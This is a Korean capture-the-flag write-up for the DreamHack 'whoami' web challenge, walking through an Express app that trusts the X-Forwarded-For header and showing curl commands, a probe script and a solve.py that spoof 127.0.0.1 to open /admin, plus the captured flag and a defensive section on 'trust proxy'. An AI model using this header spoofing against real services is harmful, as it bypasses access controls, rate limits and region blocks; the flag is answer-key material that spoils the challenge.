문제: DreamHack — whoami 분류: web 난이도: 🥉 Bronze 3 FLAG:
DH{5c36de0d635aef1f7f3002163e7d9cca005b7fb470c93d68188d48d9f317a017}

문제 이름 그대로다. 서버는 "너가 누구인지 안다"고 말한다. 그 판단 근거가 바로 client IP인데, 정작 그 IP를 어디서 읽는지가 허술하다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | whoami |
| 난이도 | 🥉 Bronze 3 |
| 분류 | web |
| 스택 | Node.js + Express 4 |
| 제공 파일 / 서버 | index.js, package.json + 라이브 VM |
| 핵심 취약점 | X-Forwarded-For 헤더 무검증 신뢰로 인한 접근 제어 우회 |
소스가 통째로 주어진다. index.js 하나에 라우트 세 개(/, /whoami, /admin)와 IP 판별 로직이 전부 들어 있다. /admin은 "로컬호스트에서 온 요청"일 때만 플래그를 보여주는데, 그 "로컬호스트" 판정이 사용자가 마음대로 바꿀 수 있는 헤더에 달려 있다.
풀이는 한 줄이다. X-Forwarded-For: 127.0.0.1을 붙여 요청하면 끝난다. 다만 왜 그게 통하는지, 실무에서 왜 이런 코드가 나오는지는 짚고 갈 가치가 있다.
🧩 배경 — X-Forwarded-For와 "진짜 클라이언트 IP"
웹 서버가 보는 TCP 연결의 상대방 주소(socket.remoteAddress)는 바로 앞에서 연결을 맺은 상대의 IP다. 사용자가 리버스 프록시(nginx·로드밸런서·CDN)를 거쳐 들어오면, 서버가 보는 주소는 프록시의 IP이지 원래 사용자의 IP가 아니다.
그래서 프록시는 원래 사용자의 주소를 X-Forwarded-For(XFF) 헤더에 적어 뒤로 넘긴다. 애플리케이션은 이 헤더를 읽어 "진짜 클라이언트 IP"를 복원한다. 값이 여러 개면 client, proxy1, proxy2 순서로 쉼표로 이어 붙고, 맨 앞이 원래 사용자다.
문제는 이 헤더는 누구나 보낼 수 있는 평범한 요청 헤더라는 점이다. 프록시만 붙이는 게 아니다. 신뢰 경계(믿을 수 있는 프록시가 붙인 값인지)를 검증하지 않고 XFF를 그대로 쓰면, 사용자가 자기 IP를 원하는 값으로 선언하는 꼴이 된다.
값의 형식도 짚어 두자. XFF는 client, proxy1, proxy2처럼 쉼표로 이어진 목록이고, 왼쪽일수록 원래 사용자에 가깝다. 요청이 여러 프록시를 거치면 각 프록시가 "자기가 본 상대 IP"를 뒤에 덧붙인다. 그래서 애플리케이션은 보통 맨 앞 토큰을 "진짜 클라이언트"로 읽는다. 바로 그 관례를 이 문제의 getClientIp가 그대로 따르는데 — 신뢰 경계 검증이 빠진 채로.
한 가지 더, Node의 socket.remoteAddress는 IPv4 연결이라도 ::ffff:127.0.0.1 같은 IPv4-mapped IPv6 형태로 올 때가 많다. 그래서 소스의 normalizeIp가 ::ffff: 접두사를 떼어 내는 전처리를 한다. 이 전처리는 정상 동작을 위한 것이지만, 공격자 입장에서는 ::ffff:127.0.0.1을 넣어도 127.0.0.1로 정규화돼 통과한다는 뜻이기도 하다. 방어 코드가 늘어날수록 우회 표면도 함께 늘어나는 전형적인 모습이다.
표준 쪽에는 XFF를 대체하려는 Forwarded 헤더(RFC 7239)가 있다. Forwarded: for=192.0.2.60;proto=http;by=203.0.113.43처럼 구조화된 형식이지만, 이 역시 "누가 붙였는지"를 애플리케이션이 검증하지 않으면 똑같이 위조된다. 헤더 이름이 무엇이든 핵심은 신뢰할 수 있는 프록시가 붙인 값만 믿는 것이다.
🔬 코드 정찰
핵심 함수 세 개만 보면 된다.
sed -n "6,23p" index.js
function getClientIp(req) {
const xff = req.headers["x-forwarded-for"];
if (typeof xff === "string" && xff.length) {
return xff.split(",")[0].trim(); // ← XFF가 있으면 그 첫 토큰이 곧 클라이언트 IP
}
return req.socket?.remoteAddress || "";
}
function isLocal(ip) {
ip = normalizeIp(ip);
return ip === "127.0.0.1" || ip === "::1";
}getClientIp는 XFF 헤더가 존재하기만 하면 소켓 주소를 쳐다보지도 않고 헤더의 첫 토큰을 반환한다. 신뢰할 수 있는 프록시가 붙인 값인지 확인하는 코드는 어디에도 없다.
/admin 라우트는 이 값으로 isLocal을 호출해 게이트를 친다.
app.get("/admin", (req, res) => {
const ip = normalizeIp(getClientIp(req));
if (!isLocal(ip)) {
res.status(403); /* ... 403 Forbidden ... */ return;
}
// 여기부터 FLAG 노출
});즉 getClientIp가 127.0.0.1을 돌려주게만 만들면 게이트가 열린다. 그리고 그건 헤더 한 줄이면 된다.
🧱 판정 흐름 한눈에

헤더가 없으면 socket.remoteAddress(우리의 실제 공인 IP)가 쓰여 guest로 떨어진다. 헤더가 있으면 그 값이 무조건 우선한다. 공격자 입장에서는 "내 IP는 127.0.0.1"이라고 선언하기만 하면 되는 구조다.
🧪 로컬에서 먼저 재현
라이브 서버에 붙기 전에 소스를 그대로 띄워 가설을 확인했다. 의존성은 express 하나뿐이라 설치도 가볍다.
npm install
node index.js # [whoami] listening on 0.0.0.0:3000재미있는 점은 로컬에서 접속하면 소켓 주소 자체가 127.0.0.1 이라, 헤더를 안 보내도 이미 관리자로 보인다는 것이다. 그래서 로컬에서는 거꾸로 "외부 공격자"를 흉내 내야 403을 볼 수 있다.
# local_repro.sh — 로컬에서 신뢰 모델을 확인한다
echo "[1] 헤더 없이 /whoami (로컬 접속이라 이미 로컬호스트로 보인다)"
curl -s http://127.0.0.1:3000/whoami
echo; echo "[2] 외부 공격자를 흉내 — XFF 8.8.8.8 이면 /admin 은 막힌다"
curl -s -o /dev/null -w " HTTP %{http_code}\n" http://127.0.0.1:3000/admin -H "X-Forwarded-For: 8.8.8.8"
echo "[3] 그 공격자가 127.0.0.1 로 사칭 — /admin 이 열린다(로컬은 fake flag)"
curl -s http://127.0.0.1:3000/admin -H "X-Forwarded-For: 127.0.0.1" | grep -oE "DH\{[^}]+\}"./local_repro.sh
로컬 바이너리에 박힌 플래그는 DH{This_is_fake_flag} 라는 가짜라서, 진짜 플래그는 라이브 서버에서만 나온다. 하지만 "X-Forwarded-For: 127.0.0.1 한 줄이면 403이 뚫린다"는 동작은 로컬에서 100% 확인됐다. 이제 라이브로 넘어간다.
🐛 정상 사용자 시점 — 먼저 막히는 걸 확인
공격을 날리기 전에, 아무것도 안 했을 때 서버가 나를 어떻게 보는지부터 봤다. 브라우저로 /whoami에 접속하면 서버가 읽은 내 IP와 역할이 JSON으로 돌아온다.

역할은 guest다. 이 상태로 /admin에 가면 당연히 막힌다.

403 Forbidden, 그리고 "Detected IP"에 내 실제 공인 IP가 그대로 찍혀 있다. 서버는 소켓에서 읽은 내 주소를 보고 있는 것이다. 이제 그 주소를 헤더로 덮어쓰면 된다.
커맨드라인에서도 똑같이 확인된다. curl로 /whoami를 때려 보면 브라우저와 같은 guest 응답이다.
curl -s http://host3.dreamhack.games:12025/whoami
💣 핵심 — 헤더로 로컬호스트 사칭
curl은 임의 헤더를 쉽게 붙일 수 있다. -H 'X-Forwarded-For: 127.0.0.1' 하나만 추가해서 /admin을 요청한다.
curl -s http://host3.dreamhack.games:12025/admin -H 'X-Forwarded-For: 127.0.0.1'
Identity confirmed: 127.0.0.1과 함께 Flag: 한 줄이 그대로 돌아온다. 서버가 나를 로컬호스트로 믿은 것이다.
브라우저에서도 같은 걸 보여줄 수 있다. /admin 탭에서 개발자 도구나 fetch로 헤더를 실어 보내면 똑같이 관리자 패널이 뜬다. 아래는 /admin 페이지에서 fetch('/admin', { headers: { 'X-Forwarded-For': '127.0.0.1' } })로 받은 실제 응답을 그대로 렌더한 화면이다 — 주소창은 여전히 /admin이고, 조금 전 403을 주던 바로 그 경로다.

같은 경로, 같은 서버인데 헤더 한 줄의 유무로 403과 플래그가 갈린다.
참고로 브라우저 fetch로 X-Forwarded-For를 실을 수 있는 건, 이 헤더가 fetch의 금지 헤더(forbidden header) 목록에 없기 때문이다. Host·Origin·Referer처럼 브라우저가 통제하는 헤더는 스크립트로 못 바꾸지만, X-Forwarded-For는 순수하게 애플리케이션 관례일 뿐이라 자유롭게 설정된다. 그래서 curl뿐 아니라 피해자 브라우저에서 돌아가는 스크립트로도 그대로 날릴 수 있다 — 서버가 이 헤더를 신뢰하는 한.
🚀 Full Exploit
한 방에 재현되도록 solve.py로 정리했다. 스푸핑 없이 한 번(내가 guest임을 확인), XFF를 실어 한 번(플래그 회수) 요청한다.
#!/usr/bin/env python3
# whoami (DreamHack, Bronze 3, web) — X-Forwarded-For 스푸핑으로 /admin 우회
import sys
import re
import urllib.request
def req(base, path, xff=None):
url = base.rstrip("/") + path
headers = {}
if xff is not None:
headers["X-Forwarded-For"] = xff
r = urllib.request.urlopen(urllib.request.Request(url, headers=headers), timeout=10)
return r.status, r.read().decode("utf-8", "replace")
def main():
base = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:12025/"
# 1) 스푸핑 없이 접근하면 서버는 우리 실제 IP를 보고 guest 로 처리한다.
_, who = req(base, "/whoami")
print("[*] /whoami (스푸핑 없음):", who.replace("\n", " "))
# 2) X-Forwarded-For 로 로컬호스트를 사칭한다.
status, admin = req(base, "/admin", xff="127.0.0.1")
print(f"[*] /admin (X-Forwarded-For: 127.0.0.1) -> HTTP {status}")
m = re.search(r"DH\{[^}]+\}", admin)
if m:
print("[+] FLAG:", m.group(0))
else:
print("[-] 플래그를 찾지 못했습니다. 응답:")
print(admin)
if __name__ == "__main__":
main()python3 solve.py http://host3.dreamhack.games:12025/
guest 확인 → 헤더 스푸핑 → HTTP 200 → 플래그. 획득한 플래그는 다음과 같다.
DH{5c36de0d635aef1f7f3002163e7d9cca005b7fb470c93d68188d48d9f317a017}🔎 어떤 값이 게이트를 여나
"헤더만 있으면 뚫린다"가 아니라 값이 로컬 주소여야 열린다. 소스를 다시 보면 isLocal은 127.0.0.1과 ::1만 통과시키고, 그 직전에 normalizeIp가 ::ffff: 접두사(IPv4-mapped IPv6)를 떼어낸다. 그리고 getClientIp는 쉼표 목록의 첫 토큰만 본다. 그래서 다음이 전부 예측된다 — 몇 가지 값을 돌려 확인했다.
# probe_variants.sh — 어떤 XFF 값이 /admin 을 여는지 비교
for xff in "8.8.8.8" "127.0.0.1" "::1" "::ffff:127.0.0.1" "127.0.0.1, 10.0.0.9"; do
body=$(curl -s "$BASE/admin" -H "X-Forwarded-For: $xff")
if echo "$body" | grep -q "Admin Panel"; then verdict="ADMIN (flag)"; else verdict="403"; fi
printf 'XFF %-22s -> %s\n' "$xff" "$verdict"
done./probe_variants.sh
8.8.8.8→403. 외부 주소라isLocal이 거짓. 헤더 존재 자체는 조건이 아니다.127.0.0.1,::1→ 둘 다 화이트리스트에 있어 열린다.::ffff:127.0.0.1→normalizeIp가::ffff:를 떼어127.0.0.1로 만든 뒤 통과.127.0.0.1, 10.0.0.9→ 첫 토큰만 보므로 뒤에 무엇을 붙여도 열린다.
프록시 체인을 흉내 내 실제IP, 127.0.0.1처럼 뒤에 로컬 주소를 넣으면 막히고, 앞에 넣어야 열린다는 점도 이 구조에서 바로 나온다. "맨 앞이 원래 사용자"라는 XFF 관례를 서버가 그대로 따르기 때문이다.
🛡️ 올바른 방어 — 코드로
Express는 XFF 파싱을 직접 할 필요가 없도록 trust proxy 설정을 제공한다. 앞단 프록시가 몇 홉인지 알려주면, Express가 그 개수만큼만 헤더 꼬리에서 신뢰하고 req.ip에 올바른 클라이언트 IP를 넣어 준다.
// 앞단에 신뢰할 수 있는 프록시가 1개 있을 때
app.set("trust proxy", 1);
app.get("/admin", (req, res) => {
// req.ip 는 trust proxy 설정에 따라 계산된 값. 직접 헤더를 긁지 않는다.
if (req.ip !== "127.0.0.1" && req.ip !== "::1") {
return res.status(403).end("403");
}
// ...
});핵심은 신뢰 홉 수를 고정하는 것이다. 공격자가 X-Forwarded-For: 127.0.0.1, 1.2.3.4처럼 헤더를 길게 늘려도, Express는 "뒤에서 1홉"만 신뢰하므로 공격자가 끼워 넣은 앞쪽 토큰을 무시한다. 이 문제의 코드는 trust proxy를 쓰지 않고 getClientIp에서 맨 앞 토큰을 통째로 신뢰했기 때문에 뚫린 것이다.
애초에 "로컬호스트면 관리자"라는 설계 자체도 바람직하지 않다. 네트워크 위치는 신원이 아니다. 관리 기능은 세션·토큰 같은 인증된 신원으로 보호하고, IP는 보조 신호로만 쓰는 게 맞다. 프록시 뒤에서 IP가 꼭 필요하다면 trust proxy를 정확히 설정하거나, 표준화된 Forwarded 헤더(RFC 7239)를 신뢰 경계가 명확한 곳에서만 쓴다.
실무에서 이 패턴이 뚫리는 전형적인 사례는 세 가지다. 레이트리밋 우회(요청마다 XFF를 바꿔 IP당 제한을 무력화), 지역 차단 우회(허용 국가의 IP로 위장), 그리고 이 문제처럼 IP 기반 관리자 허용 우회다. 모두 "헤더는 주장일 뿐 증명이 아니다"라는 같은 뿌리에서 나온다.
📝 결론
신뢰 경계 밖에서 온 값을 인증 근거로 쓰지 않는다.
X-Forwarded-For는 "프록시가 붙여 주는 값"이지 "클라이언트가 증명한 값"이 아니다. 믿을 수 있는 프록시 뒤에 있지 않다면 이 헤더는 전적으로 공격자 통제 하에 있다. IP 기반 접근 제어가 필요하다면 애플리케이션이 직접 보는 socket.remoteAddress를, 그것도 프록시 구성을 정확히 아는 상태에서만 써야 한다.
XFF를 꼭 써야 한다면 "신뢰 홉 수"를 고정한다.
Express라면 app.set('trust proxy', 1)처럼 앞단 프록시 개수를 명시해, 그 개수만큼만 헤더 꼬리에서 떼어내고 나머지는 무시하게 한다. 프레임워크가 제공하는 trust proxy 로직을 끄고 헤더를 직접 파싱하는 순간, 이 문제처럼 맨 앞 토큰을 통째로 신뢰하는 실수가 나기 쉽다.
로컬호스트 = 관리자 같은 암묵적 특권도 위험하다.
"127.0.0.1에서 오면 관리자"는 편해 보이지만, SSRF나 헤더 스푸핑 한 번으로 그대로 뚫린다. 관리 기능은 네트워크 위치가 아니라 인증·인가로 보호해야 한다.
Bronze 3짜리 한 줄 우회지만, 실제 서비스에서도 트래픽 분석·레이트리밋·지역 차단을 XFF로 판정하다 같은 식으로 뚫리는 경우가 흔하다. 헤더는 주장일 뿐 증명이 아니라는 걸 되새기게 하는 문제다.
풀이 자체는 curl -H 'X-Forwarded-For: 127.0.0.1' 한 번으로 끝났지만, "왜 통하는가"를 소스에서 끝까지 따라가 보면 getClientIp의 토큰 선택, normalizeIp의 IPv4-mapped 처리, isLocal의 화이트리스트가 어떻게 맞물려 우회 표면을 만드는지가 보인다. 작은 문제일수록 코드의 모든 줄이 왜 그렇게 쓰였는지 읽어 두면, 비슷한 패턴을 실무에서 마주쳤을 때 바로 눈에 들어온다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…